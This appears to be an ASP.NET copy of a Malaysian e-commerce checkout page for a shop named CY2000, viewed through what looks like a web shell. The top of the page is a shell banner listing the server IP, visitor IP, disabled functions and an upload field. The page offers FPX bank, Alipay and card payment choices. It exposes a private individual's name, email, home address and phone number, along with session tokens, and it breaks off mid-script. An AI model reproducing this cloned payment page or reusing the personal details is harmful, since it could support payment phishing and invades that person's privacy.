| Server IP : 103.6.199.200 / Your IP : 18.117.158.124 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/tradepan/eup.trade-panel.com/wwwroot/ |
Upload File : |
<%@ page language="C#" autoeventwireup="true" inherits="Pay, App_Web_igufh7ro" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<META charset="utf-8">
<META http-equiv="X-UA-Compatible" content="IE=edge">
<META name="viewport" content="width=device-width, initial-scale=1">
<LINK href="https://cdn.store-assets.com/s/132952/f/1315027.jpeg" rel="icon"> <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<TITLE>CY2000</TITLE>
<!-- Bootstrap -->
<LINK href="scc502/stylesheet.css" rel="stylesheet">
<!-- Google icons -->
<LINK href="scc502/icon.css" rel="stylesheet">
<LINK href="scc502/font-awesome.min.css" rel="stylesheet">
<SCRIPT src="scc502/jquery.min.js"></SCRIPT>
<!-- Header hook for plugins ================================================== -->
<SCRIPT src="scc502/storefront.min.js"></SCRIPT>
<SCRIPT>(function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id))return;js=d.createElement(s);js.id=id;js.src='https://connect.facebook.net/en_US/sdk/xfbml.customerchat.js#xfbml=1&version=v6.0&autoLogAppEvents=1';fjs.parentNode.insertBefore(js,fjs);}(document,'script','facebook-jssdk'));</SCRIPT>
<SCRIPT type="text/javascript">(function(){function asyncLoad(){var urls=["https://apps.easystore.co/social-media-share/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/mobile-messaging-share/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/mailerlite-webforms/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/google-analytics/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/timer-discount/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/google-tag-manager/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/shop-com-malaysia/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/sales-pop/script.js?shop=kcareshop.easy.co","https://apps.easystore.co/hotjar/script.js?shop=kcareshop.easy.co","/assets/pixel.js?v=1599029806",];for(var i=0;i<urls.length;i++){var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=urls[i];var x=document.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}}window.attachEvent ? window.attachEvent('onload',asyncLoad) : window.addEventListener('load',asyncLoad,false);})();</SCRIPT>
<SCRIPT>window.__st={"cid":4273955,"p":"checkout_payment"};</SCRIPT>
<SCRIPT>$(document).ready(function(){ $('#AddToCart').click(function(){ga('SFTracker.send','event', 'Cart', 'Add');});$('.update-cart').click(function(){ga('SFTracker.send','event', 'Cart', 'Update');});$('.checkout').click(function(){ga('SFTracker.send','event', 'Checkout', 'Lead');});$('#PlaceOrder,#btn-pay-again').click(function(){ga('SFTracker.send','event', 'Checkout', 'Pay');});});if (window.performance) { var timeSincePageLoad = Math.round(performance.now());ga('SFTracker.send', 'timing', 'JS Dependencies', 'load', timeSincePageLoad);}</SCRIPT>
<LINK href="scc502/font-awesome.min.css" rel="stylesheet">
<STYLE type="text/css">
#wt_tab_slide{height:auto;width:180px;position:fixed;top:10%;right:0;z-index:999;transform: translateX(180px);transition: all ease 1s;}
#wt_tab_slide:hover{transform: translateX(0)}
.wt_tab_slide_corners_left {border-top-left-radius: 10px;border-bottom-left-radius: 10px;}
#wt_tab_slide_include {padding: 15px 15px 15px 15px;}
#wt_tab_slide_background {background: #fff;box-shadow: 1px 1px 2px #000;height:100%;opacity: 1;position:absolute; top: 0;width:100%;z-index:-1; }
#wt_tab_toggle:hover {cursor: pointer;}
</STYLE>
</head>
<body>
<STYLE type="text/css">
body{
background-position: top 45px center;
}
div#announcementBarTop{
height: 45px;
}
div#announcementBar{
position:fixed;top:0px;left:0px;
width:100%;
padding:0px;
margin:0px;
z-index:2000;
background:transparent;
border:0px;
boxShadow:none;
display:block;
opacity:1;
font-family: Helvetica, Arial, sans-serif; font-size:15px;
}
div#announcementBar>div{
width:100%;
padding:3px 0px;
margin:0px;
position: relative;
}
div#announcementBar>div>div{
margin:0px;
padding:6px 10px;
border-top:1px dashed transparent;
border-bottom:1px dashed transparent;
}
div#announcementBar>div *{
padding:0px;
margin:0px;
width:auto;
background:transparent;
color:inherit; opacity:1;
vertical-align:middle;
position:static;
border:0px;
border-radius:0px;
box-shadow:none;
}
div#announcementBar img{
cursor:pointer;
float:right;
}
div#announcementBar span{
text-align:center;
display: -webkit-flex;
display: -moz-flex;
display: -ms-flex;
display: -o-flex;
display: flex;
align-items: center;
flex-wrap: wrap;
justify-content: center;
}
div#announcementBar a{
padding:4px 8px;
vertical-align:baseline;
border-radius: 5px;
margin-left: 10px;
opacity: 1;
line-height: 1.1;
text-decoration: none;
display: inline-block;
font-weight: 500;
}
div#announcementBar a:hover{
opacity: 0.8;
}
div#announcementBar #announcementBar_countdown:empty{
display: none;
}
div#announcementBar .announcementBar_timer.style_1,
div#announcementBar .announcementBar_timer.style_2{
display: -webkit-inline-flex;
display: -moz-inline-flex;
display: -ms-inline-flex;
display: -o-inline-flex;
display: inline-flex;
align-items: center;
vertical-align: middle;
padding: 5px 8px;
margin: 3px 0px 3px 10px;
border-radius: 8px;
font-weight: bold;
}
div#announcementBar .announcementBar_timer.style_1 > div,
div#announcementBar .announcementBar_timer.style_2 > div{
margin: 0 5px;
line-height: 1.2;
font-size: 115%;
}
div#announcementBar .announcementBar_timer.style_1 small,
div#announcementBar .announcementBar_timer.style_2 small{
display: block;
font-size: 55%;
line-height: 1.4;
}
div#announcementBar .announcementBar_timer.style_2{
flex-direction: row;
}
div#announcementBar .announcementBar_timer.style_2 > div{
position: relative;
width: 31px;
font-size: 18px;
}
div#announcementBar .announcementBar_timer.style_2 > div:not(:last-child):after{
position: absolute;
content: ':';
top: 0;
right: 0;
margin-right: -7px;
}
div#announcementBar .announcementBar_timer.style_3{
display: -webkit-inline-flex;
display: -moz-inline-flex;
display: -ms-inline-flex;
display: -o-inline-flex;
display: inline-flex;
align-items: center;
vertical-align: middle;
border-radius: 5px;
padding: 5px 5px;
margin-left: 10px;
font-weight: bold;
}
div#announcementBar .announcementBar_timer.style_3 > div{
margin: 0 3px;
line-height: 1.1;
}
div#announcementBar .announcementBar_timer.style_3 small{
font-weight: bold;
line-height: 1.1;
font-size: 65%;
}
div#announcementBar .announcement-close {
position: relative;
float: right;
width: 24px;
height: 24px;
opacity: 1;
background: #000;
border-radius: 50%;
cursor: pointer;
}
div#announcementBar .announcement-close:hover {
opacity: 0.6;
}
div#announcementBar .announcement-close:before,div#announcementBar .announcement-close:after {
position: absolute;
left: 11px;
top: 5px;
content: ' ';
height: 14px;
width: 2px;
background-color: #fff;
border-radius: 3px;
}
div#announcementBar .announcement-close:before {
transform: rotate(45deg);
}
div#announcementBar .announcement-close:after {
transform: rotate(-45deg);
}
</STYLE>
<form id="form1" runat="server">
<div>
<DIV class="wrapper">
<HEADER class="checkout-header margin-top-50">
<A class="logo-img-link" href="https://www.hairdepot.my/"><IMG class="logo-img" alt="CY2000" src="scc502/963330.png"></A>
</HEADER>
<OL class="breadcrumb">
<LI><A href="cart.aspx">Cart</A></LI>
<LI><A href="account.aspx">Customer information</A></LI>
<LI><A href="cartout.aspx">Shipping method</A></LI>
<LI class="active"><A href="Pay.aspx">Payment method</A></LI>
</OL>
<DIV class="hidden-md hidden-lg sm-margin-bottom-20 xs-margin-bottom-20" id="cart-mobile">
<A class="show-cart-mobile btn btn-block btn-lg btn-default">
<DIV class="flex-vertical-middle flex-space-between">
<SPAN class="cart-toggle-link">Show order summary <I class="margin-left-5 fa fa-angle-down"></I></SPAN>
<SPAN class="pull-right">MYR<SPAN data-amount-include-charge="">30.00</SPAN></SPAN>
</DIV>
</A>
<!-- Cart for mobile -->
<DIV class="cart md-up-margin-top-20" id="cart">
<UL class="list-unstyled list-style cart-list ">
<LI class="flex-vertical-middle flex-space-between">
<SPAN class="cart-detail-item cart-detail flex-vertical-middle">
<SPAN class="badge badge-primary cart-qty">1</SPAN>
<DIV class="cart-img display-inline margin-right-10"><DIV class="perfect-square-wrap">
<IMG class="perfect-square-img" alt="Osis-16.jpg" src="scc502/13254418.jpg">
</DIV></DIV>
<SPAN class="cart-detail-item">Product1 <BR><DIV class="color-light size-12 margin-top-5"></DIV></SPAN>
</SPAN>
<SPAN class="cart-detail-item">MYR 25.00</SPAN>
</LI>
</UL>
<UL class="list-unstyled list-style">
<LI class="flex-vertical-middle flex-space-between border-top margin-top-15"><SPAN>Subtotal</SPAN><SPAN>MYR 25.00 </SPAN></LI>
<LI class="flex-vertical-middle flex-space-between"><SPAN>Shipping</SPAN><SPAN>MYR <SPAN class="modifyNumberFormat">5</SPAN> </SPAN></LI>
<LI class="flex-vertical-middle flex-space-between"><SPAN data-checkout-transaction-charge-rate=""></SPAN><SPAN><SPAN>MYR</SPAN><SPAN data-checkout-transaction-rate=""></SPAN><SPAN></SPAN></SPAN></LI>
<LI class="flex-vertical-middle flex-space-between"><SPAN>Transaction Charge</SPAN><SPAN><SPAN>MYR</SPAN><SPAN data-checkout-transaction-charge=""></SPAN></LI>
<LI class="flex-vertical-middle flex-space-between border-top margin-top-15"><SPAN class="color-primary">Total</SPAN><SPAN><SPAN class="color-light weight-light">MYR</SPAN><SPAN class="color-primary weight-bold size-20" data-amount-include-charge="">30.00</SPAN><SPAN class="color-light weight-light"></SPAN></SPAN></LI>
</UL>
<DIV class="form-group margin-top-20">
<TEXTAREA class="form-control remark mobile-remark" placeholder="Add a remark...">Add a remark...</TEXTAREA>
</DIV>
<DIV class="input-group margin-top-20">
<DIV><INPUT name="discount_code" class="form-control " type="text" placeholder="Discount code" value="">
<SPAN></SPAN>
</DIV>
<SPAN class="input-group-btn"><BUTTON class="btn btn-default btn-discount" type="button">Apply</BUTTON></SPAN>
</DIV>
<DIV class="discount-error"></DIV>
</DIV></DIV>
<DIV class="side-wrap" id="PlaceOrderForm" >
<DIV class="side-left">
<DIV class="left-container">
<DIV class="row">
<DIV class="col-sm-6 text-break">
<H4 class="margin-bottom-20 weight-xbold">Billing address</H4>
<DIV>Choon Chan Sim</DIV>
<DIV>jackymsg@yahoo.com</DIV>
<DIV></DIV>
<DIV>23, Jalan BP3/17</DIV>
<DIV>Bandar Bukit Puchong</DIV>
<DIV>47100, <SPAN>Puchong,</SPAN></DIV>
<DIV>Selangor, Malaysia</DIV>
<DIV>0123141480</DIV>
</DIV>
<DIV class="xs-margin-top-40 col-sm-6 text-break">
<H4 class="margin-bottom-20 weight-xbold">Shipping address</H4>
<DIV>Choon Chan Sim</DIV>
<DIV>jackymsg@yahoo.com</DIV>
<DIV></DIV>
<DIV>23, Jalan BP3/17</DIV>
<DIV>Bandar Bukit Puchong</DIV>
<DIV>47100, <SPAN>Puchong,</SPAN></DIV>
<DIV>Selangor, Malaysia</DIV>
<DIV>0123141480</DIV>
</DIV>
</DIV>
<INPUT name="_token" type="hidden" value="4xwbfLV50Hlg447ab3rwYgdXVOQRm7IfmwQP6xSW">
<H4 class="margin-top-50 margin-bottom-20 weight-xbold">Choose payment method</H4>
<DIV class="card-list-button-group payment-category-wrapper" data-toggle="buttons">
<DIV class="btn-group-wrapper showing selected">
<LABEL class="group-wrapper-title" for="group-toggle-1">
<B></B>
<svg xmlns="http://www.w3.org/2000/svg" class="arrow-icon" id="Layer_1" viewBox="0 0 24 24" data-name="Layer 1">
<polyline style="fill: none; stroke-linecap: round; stroke-linejoin: round;" points="22,8 12,18 2,8" />
</svg>
</LABEL>
<DIV class="btn-group group-wrapper-content">
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" checked="" value="molpay_myr_b2c_bank_islam" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option"><DIV class="btn-option-text">FPX B2C Bank Islam via Razer Merchant Services</DIV></DIV>
</LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_maybank" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option"><DIV class="btn-option-text">FPX B2C Maybank via Razer Merchant Services</DIV></DIV>
</LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_cimb" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option"><DIV class="btn-option-text">FPX B2C CIMBClicks via Razer Merchant Services</DIV></DIV>
</LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_public_bank" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Public Bank via Razer Merchant Services
</DIV></DIV></LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_amonline" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C AmOnline via Razer Merchant Services
</DIV></DIV>
</LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_hongleong" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Hong Leong
via Razer Merchant Services
</DIV></DIV></LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_ocbc" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C OCBC via
Razer Merchant Services
</DIV></DIV></LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_rhb"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C RHB Bank
via Razer Merchant Services
</DIV></DIV></LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_standart_chartered"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Standard
Chartered via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_affin"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Affin Bank
via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_muamalat"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Bank
Muamalat via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_bank_rakyat"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Bank Rakyat
via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_kuwait"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Kuwait
Finance House via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_bank_simpanan"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Bank
Simpanan Nasional via Razer Merchant Services
</DIV></DIV></LABEL><LABEL class="btn btn-block btn-default btn-group-option-item"><INPUT
name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_alliance"
data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> FPX B2C Alliance
Bank via Razer Merchant Services
</DIV></DIV></LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_b2c_uob" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text">FPX B2C United Overseas Bank via Razer Merchant Services</DIV></DIV>
</LABEL>
</DIV>
</DIV>
<LABEL class="btn btn-block btn-default btn-single-payment">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_cn_alipay" data-transaction-charge="0.0" data-transaction-fee="0">
<B class="payment-title">Alipay 支付宝 via Razer Merchant Services</B>
</LABEL>
<DIV class="btn-group-wrapper ">
<LABEL class="group-wrapper-title" for="group-toggle-3">
<B>Credit card</B>
<svg xmlns="http://www.w3.org/2000/svg" class="arrow-icon" id="Layer_1" viewBox="0 0 24 24" data-name="Layer 1">
<polyline style="fill: none; stroke-linecap: round; stroke-linejoin: round;" points="22,8 12,18 2,8" />
</svg>
</LABEL>
<DIV class="btn-group group-wrapper-content">
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_myr_visa_master" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text">Visa/Mastercard via Molpay</DIV></DIV>
</LABEL>
<LABEL class="btn btn-block btn-default btn-group-option-item">
<INPUT name="payment_method" class="r-payment" type="radio" value="molpay_cn_unionpay" data-transaction-charge="0.0" data-transaction-fee="0">
<DIV class="btn-payment-option">
<DIV class="btn-option-text"> UnionPay 银联 via Razer Merchant Services
</DIV></DIV>
</LABEL>
</DIV>
</DIV>
</DIV>
<DIV class="form-group margin-top-20 size-12">
By placing order, I agree to the Products, Prevent Hair
Loss, Shampoo, Conditioner, Treatment, Styling, Appliances and more!'s
<A href="term.aspx" target="_blank">Terms of Service</A>,
<A href="term.aspx" target="_blank">Privacy Policy</A> and
<A href="term.aspx" target="_blank">Refunds & Returns Policy</A>.
</DIV>
</DIV></DIV>
<DIV class="side-right">
<DIV id="DIV1">
<DIV class="cart">
<UL class="list-unstyled list-style cart-list ">
<LI class="flex-vertical-middle flex-space-between">
<SPAN class="cart-detail-item cart-detail flex-vertical-middle">
<SPAN class="badge badge-primary cart-qty">1</SPAN>
<DIV class="cart-img display-inline margin-right-10">
<DIV class="perfect-square-wrap">
<IMG class="perfect-square-img" alt="Osis-16.jpg" src="scc502/13254418.jpg">
</DIV></DIV>
<SPAN class="cart-detail-item">Product 1 <BR><DIV class="color-light size-12 margin-top-5"></DIV></SPAN>
</SPAN>
<SPAN class="cart-detail-item">MYR 25.00</SPAN>
</LI>
</UL>
<UL class="list-unstyled list-style margin-bottom-0">
<LI class="flex-vertical-middle flex-space-between border-top margin-top-15">
<SPAN>Subtotal</SPAN>
<SPAN>MYR 25.00 </SPAN>
</LI>
<LI class="flex-vertical-middle flex-space-between">
<SPAN>Shipping</SPAN>
<SPAN>MYR <SPAN class="modifyNumberFormat">5</SPAN> </SPAN>
</LI>
<LI class="flex-vertical-middle flex-space-between">
<SPAN data-checkout-transaction-charge-rate=""></SPAN>
<SPAN><SPAN>MYR</SPAN><SPAN data-checkout-transaction-rate=""></SPAN><SPAN></SPAN></SPAN>
</LI>
<LI class="flex-vertical-middle flex-space-between">
<SPAN>Transaction Charge</SPAN>
<SPAN><SPAN>MYR</SPAN><SPAN data-checkout-transaction-charge=""></SPAN><SPAN></SPAN></SPAN>
</LI>
<LI class="flex-vertical-middle flex-space-between border-top margin-top-15">
<SPAN class="color-primary">Total</SPAN>
<SPAN><SPAN class="color-light weight-light">MYR</SPAN>
<SPAN class="color-primary weight-bold size-20" data-amount-include-charge=""> 30.00 </SPAN>
<SPAN class="color-light weight-light"></SPAN>
</SPAN>
</LI>
</UL>
</DIV>
<DIV class="form-group margin-top-20">
<TEXTAREA name="remark" class="form-control remark desktop-remark" placeholder="Add a remark...">Add a remark...</TEXTAREA>
</DIV>
<DIV class="input-group margin-top-20">
<DIV>
<INPUT name="discount_code" class="form-control input-lg" type="text" placeholder="Discount code" value="">
<SPAN></SPAN>
</DIV>
<SPAN class="input-group-btn"><BUTTON class="btn btn-lg btn-default btn-discount" type="button">Apply</BUTTON> </SPAN>
</DIV>
<DIV class="discount-error"></DIV>
</DIV></DIV>
<DIV class="form-group margin-top-50 display-inline width-full">
<A href="details.aspx"><I class="fa fa-chevron-left margin-right-10"></I> Back to customer information</A>
<BUTTON class="xs-margin-top-10 xs-btn-block btn-payment btn btn-primary btn-lg pull-right" id="PlaceOrder" type="submit">Place Order Now</BUTTON>
</DIV>
</DIV>
<SCRIPT>
$(document).ready(function(){
$('form#PlaceOrderForm').on("submit", function(event) {
$('#PlaceOrder').addClass("btn-loading");
});
function payment_option_check(){
$('input.r-payment').each(function( index ) {
if($(this).is(":checked")){
$(this).parent().addClass("active");
$(this).parent().find('.payment-detail').addClass("in");
$(".btn-group-wrapper").removeClass("selected");
$(this).parents(".btn-group-wrapper").addClass("selected");
$(".btn-group-option-item, .btn-single-payment").removeClass("active");
$(this).parents(".btn-group-option-item, .btn-single-payment").addClass("active");
transaction_charge_function($(this));
}else{
$(this).parent().find('.payment-detail').removeClass("in");
}
});
};
payment_option_check();
$('.group-wrapper-title').on("click", function( index ) {
if($(this).parent().hasClass("showing")){
$('.btn-group-wrapper').removeClass("showing");
}else{
$('.btn-group-wrapper').removeClass("showing");
$(this).parent().addClass("showing");
// Auto select first option
if(!$(this).parent().hasClass("selected")){
var this_first_option = $(this).next(".group-wrapper-content").children('.btn-group-option-item').first();
this_first_option.children("input.r-payment").prop('checked', true);
payment_option_check();
}
}
});
$('input.r-payment').on("change", function(){
$('input.r-payment').each(function( index ) {
if($(this).is(":checked")){
$(this).parent().find('.payment-detail').addClass("in");
$(".btn-group-wrapper").removeClass("selected");
$(this).parents(".btn-group-wrapper").addClass("selected");
$(".btn-group-option-item").removeClass("active");
$(this).parents(".btn-group-option-item").addClass("active");
}else{
$(this).parent().find('.payment-detail').removeClass("in");
}
});
transaction_charge_function($(this));
});
function thousandSeparator(g,h,i){
g += '';
x = g.split('.');
x1 = x[0];
x2 = x.length > 1 ? i + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
x1 = x1.replace(/,/g, h);
return x1 + x2;
}
function transaction_charge_function(target_element){
var transaction_charge_rate = target_element.data("transaction-fee") == "FREE" ? 0 : target_element.data("transaction-fee");
var org_total_price = "30.00";
var format_decimals = "2";
var thousand_separator = ",";
if(thousand_separator=="" || thousand_separator==null){
var decimal_separator = ".";
}
else{
var decimal_separator = thousand_separator=="," ? "." : ",";
}
var currency_rate = 1;
var credit_used = "0.0";
if(decimal_separator == "," && org_total_price.indexOf(decimal_separator) != -1){
var org_total_price_after_split = org_total_price.split(decimal_separator);
org_total_price = org_total_price_after_split[0] + "." + org_total_price_after_split[1];
}
if(thousand_separator == "," && credit_used.indexOf(thousand_separator) != -1){
var credit_used_after_split = credit_used.split(thousand_separator);
credit_used = credit_used_after_split[0] + credit_used_after_split[1];
}
if(org_total_price > 0)
{
org_total_price = org_total_price.replace(/,/g, "");
var origin_transaction_charge = target_element.data("transaction-charge") == "FREE" ? 0 : parseFloat(target_element.data("transaction-charge"));
var transaction_charge = origin_transaction_charge * currency_rate
var total_transaction_charge = parseFloat(org_total_price*transaction_charge_rate/100);
}
else
{
org_total_price = org_total_price.replace(/,/g, "");
var transaction_charge = 0;
var total_transaction_charge = 0;
}
var amount_include_charge = parseFloat(org_total_price) + parseFloat(total_transaction_charge) + parseFloat(transaction_charge)
var checkout_rate_target = $("[data-checkout-transaction-rate]");
var checkout_charge_target = $("[data-checkout-transaction-charge]");
element_hide(checkout_rate_target, total_transaction_charge);
element_hide(checkout_charge_target, transaction_charge);
// target_element.parents().eq(5).find("[data-checkout-transaction-charge]").text(thousandSeparator(transaction_charge.toFixed(format_decimals), separator));
$("[data-checkout-transaction-charge-rate]").text("Transaction Charge Rate "+" ("+transaction_charge_rate+"%)");
$("[data-credit-used]").text(thousandSeparator(parseFloat(credit_used).toFixed(format_decimals), thousand_separator, decimal_separator));
$("[data-amount-include-charge]").text(thousandSeparator(amount_include_charge.toFixed(format_decimals), thousand_separator, decimal_separator));
function element_hide(element, transaction){
element.each(function(){
if(transaction == 0){
$(this).parents().eq(1).css("display", "none");
}else{
$(this).parents().eq(1).css("display", "");
$(this).text(thousandSeparator(transaction.toFixed(format_decimals), thousand_separator, decimal_separator));
}
});
}
}
});
</SCRIPT>
<!-- Start of ShopCom Conversion Tag -->
<SCRIPT type="application/javascript">
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1);
if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
}
return '';
}
fetch("/apps/shop-com-malaysia/orders/"+ '4c74bb78-b413-46c4-aaae-094057ea186d', {
method: 'post',
headers: {
"Content-Type": "application/json; charset=utf-8",
},
body: JSON.stringify({
click_id: getCookie('shop_com_my_clickid'),
r_id: getCookie('shop_com_my_rid'),
})
}).then(function(data) {
console.log(data);
document.cookie = "shop_com_my_clickid=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
document.cookie = "shop_com_my_rid=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
});
</SCRIPT>
<!-- End of ShopCom Conversion Tag -->
<FOOTER class="margin-top-20 size-12 color-light padding-top-20 margin-bottom-30 width-full">
© All rights reserved CY2000
<SPAN class="sm-up-pull-right footer-links">
<A href="term.aspx" target="_blank">Terms of Service</A>
<A href="term.aspx" target="_blank">Privacy Policy</A>
<A href="term.aspx" target="_blank">Refunds & Returns Policy</A>
<I class="fa fa-lock" aria-hidden="true"></I>
</SPAN>
</FOOTER>
</DIV>
<SCRIPT src="scc502/breakpoints.min.js"></SCRIPT>
<SCRIPT src="scc502/bootstrap.min.js"></SCRIPT>
<SCRIPT src="scc502/jquery.sticky-kit.min.js"></SCRIPT>
<!-- Stick the cart -->
<SCRIPT>
$(document).ready(function() {
$(".side-right #cart").stick_in_parent({
'inner_scrolling': false,
'no_recalc': true
});
});
jQuery( window ).on ( 'resize', function() {
jQuery(document.body).trigger("sticky_kit:recalc");
});
</SCRIPT>
<!-- Move the cart (for responsive) -->
<SCRIPT>
$(".show-cart-mobile").on("click",function(){
$("#cart-mobile .cart").toggle();
})
</SCRIPT>
<SCRIPT>
$(".remark").on("input", function(){
if($(this).hasClass("desktop-remark")){
$(".mobile-remark").val($(this).val());
}
else{
$(".desktop-remark").val($(this).val());
}
});
</SCRIPT>
<!-- Discount code -->
<SCRIPT>
$(".btn-discount").on("click",function(){
var discount_code = $(this).closest(".input-group").find("input[name=discount_code]").val();
var cart_token = "52143e00-9fc3-451b-a99a-f23160019cc3";
$.ajax({
type: 'post',
url: "/checkout/discount",
dataType: "json",
data: {
discount_code: discount_code,
token: cart_token,
_token: "4xwbfLV50Hlg447ab3rwYgdXVOQRm7IfmwQP6xSW"
},
success: function(d){
if(d.status == "success"){
location.reload();
}else{
$(".discount-error").text(d.data);
$(".discount-error").css("color", "#a94442")
}
},
error: function(d){
console.log("error");
}
});
return false;
});
$(".btn-del-discount").on("click",function(){
var order_discount_id = $(this).data("order-discount-id");
var cart_token = "52143e00-9fc3-451b-a99a-f23160019cc3";
$.ajax({
type: 'delete',
url: '/checkout/discount-remove',
dataType: "json",
data: {
order_discount_id: order_discount_id,
token: cart_token,
_token: "4xwbfLV50Hlg447ab3rwYgdXVOQRm7IfmwQP6xSW"
},
success: function(d){
location.reload();
},
error: function(d){
console.log("error");
}
});
return false;
});
$(".btn-credit").on("click",function(){
var html = $(this).html();
$.ajax({
type: 'post',
url: '/checkout/credit',
dataType: "json",
data: {
_token: "4xwbfLV50Hlg447ab3rwYgdXVOQRm7IfmwQP6xSW"
},
beforeSend: function(){
$(".btn-credit").html("").prop("disabled", true).addClass("fa fa-spinner");
},
success: function(d){
location.reload();
},
error: function(d){
$(".btn-credit").html(html).prop("disabled", false).removeClass("fa fa-spinner");
console.log("error");
}
});
return false;
});
$(".btn-del-credit").on("click",function(){
$.ajax({
type: 'delete',
url: '/checkout/credit-remove',
dataType: "json",
data: {
_token: "4xwbfLV50Hlg447ab3rwYgdXVOQRm7IfmwQP6xSW"
},
success: function(d){
location.reload();
},
error: function(d){
console.log("error");
}
});
return false;
});
</SCRIPT>
<SCRIPT>
$("span.modifyNumberFormat").each(function(key, value) {
var content = $(value).html();
if (isNaN(content)) {
return false;
} else {
$(value).html(normalizeNumber(content));
}
});
$("span.modifyNumberFormatWithAffix").each(function(key, value) {
var content = $(value).html();
if (isNaN(content)) {
return false;
} else {
var currency_prefix = "MYR" == '' ? '' : "MYR ";
var currency_suffix = "" == '' ? '' : " ";
